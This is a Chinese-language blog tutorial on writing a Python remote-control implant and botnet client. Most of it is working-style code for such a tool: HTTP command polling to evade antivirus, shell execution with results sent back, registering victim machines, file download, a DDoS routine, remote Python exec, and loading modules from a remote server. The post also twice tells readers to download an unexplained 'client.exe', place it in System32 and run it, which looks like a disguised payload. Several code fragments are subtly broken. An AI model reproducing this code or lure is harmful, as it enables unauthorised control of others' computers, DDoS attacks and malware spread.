Python 創建自己的交互式Shell和BotNet實現遠程控制

Python 遠程控制

本文僅爲傳遞技術,如您用於非法用途,我們不會也不可能承擔任何責任

本文由中國秦川聯盟旗下氫氟安全組撰寫,原文來自於中國秦川聯盟博客(他*的這幾天服務器崩了),我們不希望您轉載本文,如果有非法爬蟲爬取本文,本聲明依然奏效,中國秦川聯盟有權追責

以上聲明將會覆蓋 CC 4.0 BY-SA 部分協議,爲防止爬蟲,這裏附上本文鏈接https://blog.csdn.net/weixin_42660646/article/details/105276372,如有發現,希望大家聯繫我或者直接聯繫作者刪除,謝謝

網絡上有很多遠程控制的Python腳本,譬如TCP/IP反彈式Shell,相當一部分源碼都是複製粘貼,甚至當我們也複製粘貼到本地也根本無法運行,各種Traceback看得人觸目心驚,甚至再來一個Traceback most recent call last: C++ Error(論Python最恐怖的報錯),就相當的慘淡而扯淡了。

當然也有相當一部分的腳本可以正常運行,他們用socket進行控制,當然還有較爲高級的使用fabric或者paramiko的,我這裏就不復制粘貼了,省的有抄襲嫌疑。

網上既然有能運行的Python Shell,我還寫它做甚?當然有原因。這是一個安全性問題,當你自己寫一個socket腳本,腳本模式還好,一旦編譯(pyinstaller或者py2exe,當然我自己推薦pyinstallerpy2exe貌似不能打包單個文件,至少我用的時候是這樣),某衛士和某管家都是立馬報毒,就算你真的只是一個普通的基於socket的腳本,你沒有軟件的數字簽名這些殺軟也秒送你上西天,fabricparamiko同樣難逃魔爪,想寫個小工具立馬報毒,又怎麼能讓別人放心呢?難不成用戶一人一個Python?當然,我們可以用黑客的方式,使用PyCrypto對腳本進行加密,不過噁心的是,PyCrypto這傢伙在Windows上面要多難裝有多難裝,以至於我們團隊有人提到:他*的,我看見這PyCrypto就想罵人(這裏一個星號代表啥你們都懂)。況且明明一個正常的小程序大材小用的用PyCrypto加密,想着也怎麼不光彩,要是AES加密也被殺軟的病毒研究團隊破解了,這下socket這個庫就廢了。你可以試試百度:Pyinstaller打包報毒,我保證網頁成捆計數。

那麼這下涼犢子了,我這標題還是Python遠程控制獲取交互式Shell

經過測試某衛士某管家都不會攔截HTTP請求,因爲在任何一個殺軟看來,HTTP請求都似乎是正常的。那麼我們便找到可乘之隙了,通過一個while True便可以實現客戶端持續主動連接服務端,雖然HTTP協議也是基於socket,但因爲HTTP Request和普通的socket的報文是不同的,就這樣輕輕鬆鬆繞過了殺軟。基本的HTTP請求是這樣:


import requests
requests.get('Url')

我們在requests的語句套上trywhile,我們就可以成功實現主動獲取命令了。
它現在看起來像這樣:

import requests, time, json

while True:
    try:
        commands = json.loads(requests.get('Your URI').text) #使用reqests模塊下載命令(該命令形式必須爲dict),並使用json模塊解析爲dict變量
        os.system(commands['cmd']) #執行解析到的參數,我們在dict中加入"cmd"用以存儲
    except:
        continue
    time.sleep(3.9/3/3) #不要問我爲什麼是這個數字,我們團隊的人都知道

可是BUG就又這麼來了,os.system的BUG是衆多周知的,他不返回值就算了,他%&#±?@的還每次都彈個控制檯窗口,度娘變給了回覆:可以用os.popen

它執行和編譯過程中似乎需要一個Windows系統插件,他貌似在新版本的Windows中被移除了,下文的代碼中需要它(並不需要在編譯以後安插在靶機中安插它,只需要安插你所編譯完成的獨立文件)。我這裏附上自家的鏈接,它是從舊的版本的Windows系統上摳出來然後編譯的模塊,你需要將它移動至C:\Windows\System32\client\client.exe並雙擊運行它。當然,做人要小心謹慎一些,如果需要確認它的安全性,你可以使用查殺率最高的某衛士或者某管家等等的殺軟進行查殺。運行後它應該不會有任何顯示。如果你點擊上面自家的鏈接無法下載,換這個

我們便很他*高興的用了os.popen,我們便準備派出測試了,驚人的測試成功了,看到服務器上獲取到的本地返回值,你應該能體會到我們的心情。這時候我們便編譯了它,他很快的報錯了。我們認爲是pyinstaller的問題,重裝了3遍,換了python版本(從3.6.8換成了3.9a3),這@fp#@)'的還是不行,我們變做了一個DEBUG版本,沒有加入-w參數,意外的是,他竟然沒有報錯???我們便狠下心來,一行一行加try:...except Exception as e:...,然後把錯誤用win32api(這庫必須從sourceforge上面下載安裝軟件,pip裝不了)的Msgbox把報錯彈出來,錯誤很有趣:WinError 5: 句柄無效。這要不是我開發過一個用Selemuim配合Google Chrome進行的QQ自動化舉報測試軟件,我們絕對要放棄治療。也就是說,我們親愛的os.popen必須在有控制檯的情況下運行,不帶控制檯就沒用。我的朋友就頹廢的說:那好吧,再去找。我們就找到了subprocess,最開始他還是報錯的,後來在一個博文上找到了答案,我實在是找不到這篇文章在哪裏了,否則我100%上門道謝。

# import subprocess first
try:
    p = subprocess.Popen("Enter the command you got from your server here.", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) #參數一個都不能差
    result = p.stdout.read()
    retval = p.wait()
except Exception as e:
    print("錯誤:{}".format(e))
print(result.decode('gbk','ignore')) #注意,不加入DECODE函數100%亂碼,'ignore'參數表示忽略錯誤字符

我們將它封裝在函數裏以便於調用:

def run(cmd):
    #includes codes above, and replace "Enter the command you got from your server here." to "cmd".

現在它看起來像這樣:

import requests, time, json, subprocess

def run(id, cmd):
    try:
        p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        result = p.stdout.read()
        retval = p.wait()
    except Exception as e:
        print("錯誤:{}".format(e))

while True:
    try:
        commands = json.loads(requests.get('Your URI').text)
        run(commands['cmd'])
    except:
        continue
    time.sleep(3.9/3/3) 

我們很高興,這麼幾行代碼就實現了遠程交互,正當我們高興之餘,BUG說來就來,這它*的cd爲啥就沒用,我再怎麼cd desktopcd ..都沒個啥用。還是度娘又一次告訴了我原因:Python的工作目錄未改變。改變工作目錄的方法爲:

#import os first
os.chdir("Your path that you want to change.")

同樣,我們封裝一個函數,如下:

def cd(path):
    try:
        os.chdir(path)
    except Exception as e:
        print("錯誤:{}".format(e))

這時候,它看起來像這樣:

import os, requests, time, json, subprocess

def cd(path):
    try:
        os.chdir(path)
    except Exception as e:
        print("錯誤:{}".format(e))

def run(id, cmd):
    try:
        p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        result = p.stdout.read()
        retval = p.wait()
    except Exception as e:
        print("錯誤:{}".format(e))

while True:
    try:
        commands = json.loads(requests.get('Your URI').text)
        if commands['cmd'].replace(" ", "") == "cd":
            cd(commands['cmd'])
        run(commands['cmd'])
    except:
        continue
    time.sleep(3.9/3/3) 

目前還沒有定義結果的回調,它看起來像這樣:

def PushResult(result):
    data = {
        "result": result,
        }
    while True:
        try:
            response = post("http://Your Domain or IP address/result/", data=data).text #在服務端傳回的Response中加入200字樣以確保Shell回調運行正常
            if "200" in response:
                break
            else:
                raise
        except:
            print("Failed to push result.")
            continue

我們在命令函數中使用PushResult(result)方式來調用以上的函數。
它還可以被改進:

def PushResult(result):
    data = {
        "result": result,
        }
    while True:
        try:
            response = post("http://Your Domain or IP address/result/", data=data).text #在服務端傳回的Response中加入200字樣以確保Shell回調運行正常
            if "200" in response:
                break
            else:
                raise
        except ConnectionError:
            print("Failed to push result: Remote server does not open.")
            continue
        except Exception as e:
            print("Failed to push result: {}".format(e))
            continue

下面的問題是,在我擁有多臺被捕獲的計算機,如何判斷計算機的唯一性?
查詢了度娘,她說MAC是唯一的。我們便搜索的Python獲取Hostname、Username以及MAC等的方式,如下:

# import re, socket, ctypes, uuid
# from requests import get

def IP():
    return re.findall(r'\d+.\d+.\d+.\d+', get("http://txt.go.sohu.com/ip/soip").text)[0]

def MAC():
    mac=uuid.UUID(int = uuid.getnode()).hex[-12:]
    return ":".join([mac[e:e+2] for e in range(0,11,2)])

def HOSTNAME():
    return socket.gethostname()

def Is_Admin():
    return bool(ctypes.windll.shell32.IsUserAnAdmin() if os.name == 'nt' else os.getuid() == 0)

不過,我們在測試的過程中,發現了其中兩位團隊成員的MAC都驚人的一夜之間發生了變化?!這個問題我們似乎沒有辦法解決,我並不清楚它是否是一個惡作劇。
爲此,我們在Beta版本寫入了以下代碼:

def GUID():
    guid = str(uuid.uuid1()).split("-")
    guid = guid[1] + guid[2] + guid[4]
    return guid

事實上GUID和UUID沒什麼區別,前者的“G”表示“Global”,後者的“U”表示“Universal”。在C系列語言中常將其稱爲GUID,我這裏爲了不和函數名重複,故將其命名爲GUID。

我們目前還需要如下代碼,使捕獲的客戶端上線時我們能夠知曉:

def Online():
    mac = MAC()
    username = os.environ['USERNAME']
    _os = platform.system()
    ipv4 = IP()
    hostname = HOSTNAME()
    admin = is_admin()
    guid = GUID()
    data = {
        "os": _os,
        "mac": mac,
        "ipv4": ipv4,
        "guid": guid,
        "username": username,
        "hostname": hostname,
        "admin": admin,
        }
    online = post("{}/online/".format("Your Server's Address"), data=data).text
    return json.loads(online)[0]["status"] # 這裏的status是服務端傳回的參數

如果你希望使你的腳本跨平臺,那麼你可以這樣:

# import platform
Windows = True if platform.system() == "Windows" else False
Linux = True if platform.system() == "Linux" else False

def Online():
    mac = MAC()
    username = os.environ['USERNAME'] if Windows else os.environ['NAME'] # 在Linux中儲存用戶名的環境變量爲'USER',這不同於Windows中的'USERNAME'
    _os = platform.system()
    ipv4 = IP()
    hostname = HOSTNAME()
    admin = is_admin()
    guid = GUID()
    data = {
        "os": _os,
        "mac": mac,
        "ipv4": ipv4,
        "guid": guid,
        "username": username,
        "hostname": hostname,
        "admin": admin,
        }
    online = post("{}/online/".format("Your Server's Address"), data=data).text
    return json.loads(online)[0]["status"]

這裏我們在主函數中加入Online函數,用以使主控端知曉客戶端的上線。它看起來像這樣:

while True:
    try:
        Online()
    except ConnectionError:
        print("Failed to online: Server does not open.")
        continue
    except Exception as e:
        print("Failed to online: {}".format(e))
        continue
    # includes codes above

我們整合一下代碼,它現在看起來像這樣:

import os, requests, time, json, subprocess
import re, socket, ctypes, uuid
from requests import get

def cd(path):
    try:
        os.chdir(path)
    except Exception as e:
        print("錯誤:{}".format(e))

def Online():
    mac = MAC()
    username = os.environ['USERNAME']
    _os = platform.system()
    ipv4 = IP()
    hostname = HOSTNAME()
    admin = is_admin()
    guid = GUID()
    data = {
        "os": _os,
        "mac": mac,
        "ipv4": ipv4,
        "guid": guid,
        "username": username,
        "hostname": hostname,
        "admin": admin,
        }
    online = post("{}/online/".format("Your Server's Address"), data=data).text
    return json.loads(online)[0]["status"]

def StrictOnline():
    while True:
        try:
            Online()
        except ConnectionError:
            print("Failed to online: Server does not open.")
            continue
        except Exception as e:
            print("Failed to online: {}".format(e))
            continue

def run(id, cmd):
    try:
        p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        result = p.stdout.read()
        retval = p.wait()
    except Exception as e:
        print("錯誤:{}".format(e))

while True:
    try:
        StrictOnline()
        commands = json.loads(requests.get('Your URI').text)
        if commands['cmd'].replace(" ", "") == "cd":
            cd(commands['cmd'])
        run(commands['cmd'])
    except:
        continue
    time.sleep(3.9/3/3) 

如果你希望你的腳本看起來專業一點,你可以這樣:

import os, requests, time, json, subprocess
import re, socket, ctypes, uuid
from requests import get

def cd(path):
    try:
        os.chdir(path)
    except Exception as e:
        print("錯誤:{}".format(e))

def Online():
    mac = MAC()
    username = os.environ['USERNAME']
    _os = platform.system()
    ipv4 = IP()
    hostname = HOSTNAME()
    admin = is_admin()
    guid = GUID()
    data = {
        "os": _os,
        "mac": mac,
        "ipv4": ipv4,
        "guid": guid,
        "username": username,
        "hostname": hostname,
        "admin": admin,
        }
    online = post("{}/online/".format("Your Server's Address"), data=data).text
    return json.loads(online)[0]["status"]

def StrictOnline():
    while True:
        try:
            Online()
        except ConnectionError:
            print("Failed to online: Server does not open.")
            continue
        except Exception as e:
            print("Failed to online: {}".format(e))
            continue

def run(id, cmd):
    try:
        p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        result = p.stdout.read()
        retval = p.wait()
    except Exception as e:
        print("錯誤:{}".format(e))

def Main():
    while True:
        try:
            StrictOnline()
            commands = json.loads(requests.get('Your URI').text)
            if commands['cmd'].replace(" ", "") == "cd":
                cd(commands['cmd'])
            run(commands['cmd'])
        except:
            continue
        time.sleep(3.9/3/3)

if __name__ == "__main__":
    Main() 

它和其上的腳本的效果是等同的,因爲這是主程序,你並不需要去調用它,它built-in__name__參數時刻都是__main__

這麼一個腳本固然不能滿足計算機愛好者們的意淫,不能讓對方下載文件怎麼能行。代碼如下:

# import shelx first, pip install shelx -i https://pypi.tuna.tsinghua.edu.cn/simple
def download(id, args):
    args = shlex.split(args)
    url = args[0]
    name = args[1]
    urltype = args[2]
    debug("Downloding {}".format(url))
    content = get(url)
    if urltype == "wb" or urltype == "ab":
        content = content.content
    else:
        content = content.text
    opens = open(name, urltype)
    opens.write(content)
    opens.close()
    PushResult(id, "下載完畢")

上面的參數id是服務端的命令唯一標識,你可以使用你自己的去替換它。

如果你想要做一個合格的殭屍網絡或者滲透工具,像著名的metasploit framework一樣,少了網絡攻擊可當然不能過關。

中國秦川聯盟網絡安全部氫氟安全組特此開發了獨立版本,點擊即可下載。它需要上述的組件,同上,你需要將它移動至C:\Windows\System32\client\client.exe並雙擊運行它。你可以將如下代碼加入被控端主程序:

def ddos(id, args):
    args = shlex.split(args)
    ip = args[0]
    port = args[1]
    thread = args[2]
    time = args[3]
    p = subprocess.Popen("HFDDOS ip --port int(port), --thread int(thread) --time int(time))", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # 替換成參數
    PushResult(id, "已加入DDOS線程")

我們還添加了一些備用功能,大部分代碼塊並未開源:

def python(id, codes): # 遠程執行Python命令
    exec(codes)
    PushResult(id, "已執行Python命令")

def importpkg(id, pkg): # 遠程導入Python倉庫
    exec("import {}".format(pkg))
    PushResult(id, "已導入")

importpkg直接使用會報錯,因爲在被控端並沒有該模塊。我們可以導入如下模塊:

import sys
import importlib.abc
import imp
from urllib.request import urlopen
from urllib.error import HTTPError, URLError
from html.parser import HTMLParser

# Debugging
import logging
log = logging.getLogger(__name__)

# Get links from a given URL
def _get_links(url):
    class LinkParser(HTMLParser):
        def handle_starttag(self, tag, attrs):
            if tag == 'a':
                attrs = dict(attrs)
                links.add(attrs.get('href').rstrip('/'))
    links = set()
    try:
        log.debug('Getting links from %s' % url)
        u = urlopen(url)
        parser = LinkParser()
        parser.feed(u.read().decode('utf-8'))
    except Exception as e:
        log.debug('Could not get links. %s', e)
    log.debug('links: %r', links)
    return links

class UrlMetaFinder(importlib.abc.MetaPathFinder):
    def __init__(self, baseurl):
        self._baseurl = baseurl
        self._links = { }
        self._loaders = { baseurl : UrlModuleLoader(baseurl) }

    def find_module(self, fullname, path=None):
        log.debug('find_module: fullname=%r, path=%r', fullname, path)
        if path is None:
            baseurl = self._baseurl
        else:
            if not path[0].startswith(self._baseurl):
                return None
            baseurl = path[0]
        parts = fullname.split('.')
        basename = parts[-1]
        log.debug('find_module: baseurl=%r, basename=%r', baseurl, basename)

        # Check link cache
        if basename not in self._links:
            self._links[baseurl] = _get_links(baseurl)

        # Check if it's a package
        if basename in self._links[baseurl]:
            log.debug('find_module: trying package %r', fullname)
            fullurl = self._baseurl + '/' + basename
            # Attempt to load the package (which accesses __init__.py)
            loader = UrlPackageLoader(fullurl)
            try:
                loader.load_module(fullname)
                self._links[fullurl] = _get_links(fullurl)
                self._loaders[fullurl] = UrlModuleLoader(fullurl)
                log.debug('find_module: package %r loaded', fullname)
            except ImportError as e:
                log.debug('find_module: package failed. %s', e)
                loader = None
            return loader
        # A normal module
        filename = basename + '.py'
        if filename in self._links[baseurl]:
            log.debug('find_module: module %r found', fullname)
            return self._loaders[baseurl]
        else:
            log.debug('find_module: module %r not found', fullname)
            return None

    def invalidate_caches(self):
        log.debug('invalidating link cache')
        self._links.clear()

# Module Loader for a URL
class UrlModuleLoader(importlib.abc.SourceLoader):
    def __init__(self, baseurl):
        self._baseurl = baseurl
        self._source_cache = {}

    def module_repr(self, module):
        return '<urlmodule %r from %r>' % (module.__name__, module.__file__)

    # Required method
    def load_module(self, fullname):
        code = self.get_code(fullname)
        mod = sys.modules.setdefault(fullname, imp.new_module(fullname))
        mod.__file__ = self.get_filename(fullname)
        mod.__loader__ = self
        mod.__package__ = fullname.rpartition('.')[0]
        exec(code, mod.__dict__)
        return mod

    # Optional extensions
    def get_code(self, fullname):
        src = self.get_source(fullname)
        return compile(src, self.get_filename(fullname), 'exec')

    def get_data(self, path):
        pass

    def get_filename(self, fullname):
        return self._baseurl + '/' + fullname.split('.')[-1] + '.py'

    def get_source(self, fullname):
        filename = self.get_filename(fullname)
        log.debug('loader: reading %r', filename)
        if filename in self._source_cache:
            log.debug('loader: cached %r', filename)
            return self._source_cache[filename]
        try:
            u = urlopen(filename)
            source = u.read().decode('utf-8')
            log.debug('loader: %r loaded', filename)
            self._source_cache[filename] = source
            return source
        except (HTTPError, URLError) as e:
            log.debug('loader: %r failed. %s', filename, e)
            raise ImportError("Can't load %s" % filename)

    def is_package(self, fullname):
        return False

# Package loader for a URL
class UrlPackageLoader(UrlModuleLoader):
    def load_module(self, fullname):
        mod = super().load_module(fullname)
        mod.__path__ = [ self._baseurl ]
        mod.__package__ = fullname

    def get_filename(self, fullname):
        return self._baseurl + '/' + '__init__.py'

    def is_package(self, fullname):
        return True

# Utility functions for installing/uninstalling the loader
_installed_meta_cache = { }
def install_meta(address):
    if address not in _installed_meta_cache:
        finder = UrlMetaFinder(address)
        _installed_meta_cache[address] = finder
        sys.meta_path.append(finder)
        log.debug('%r installed on sys.meta_path', finder)

def remove_meta(address):
    if address in _installed_meta_cache:
        finder = _installed_meta_cache.pop(address)
        sys.meta_path.remove(finder)
        log.debug('%r removed from sys.meta_path', finder)

將以上腳本放在和主程序同目錄下,將其命名爲remoteimport.py,這時,在頭部加入 :

from remoteimport import install_meta
install_meta("http://Your Remote Pkg Server:Your port")

注意在URI最後不要加上/,這是不合法的。這時候,我們在主控端的包路徑下如C:\Programs\Python39\Lib\site-packages(Linux也支持,不過Linux下路徑較多)目錄下執行python -m http.server 端口,開啓包服務器。

這樣,你自己的被控端就基本搭建完成。如果喜歡的話,記着雙擊麼麼噠 。

點擊
點擊
雙擊
關注
麼麼噠

本文目前可能並不是最終版本,因爲我們還需要權衡利弊,確保其中的代碼不會被小人所利用。該程序的完整版我們已經開發並可以正常使用,我們很快會截取一些源碼放在本文。我們保證不會任何組織和個體開放本源碼,因爲只能防得君子防不得小人。敬請關注我以獲取最新消息。

如果您對於這些方面有興趣,您可以私信我或訪問我們的網站(副站:中國秦川聯盟 - 中國站國際站這幾天崩了)加入我們。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章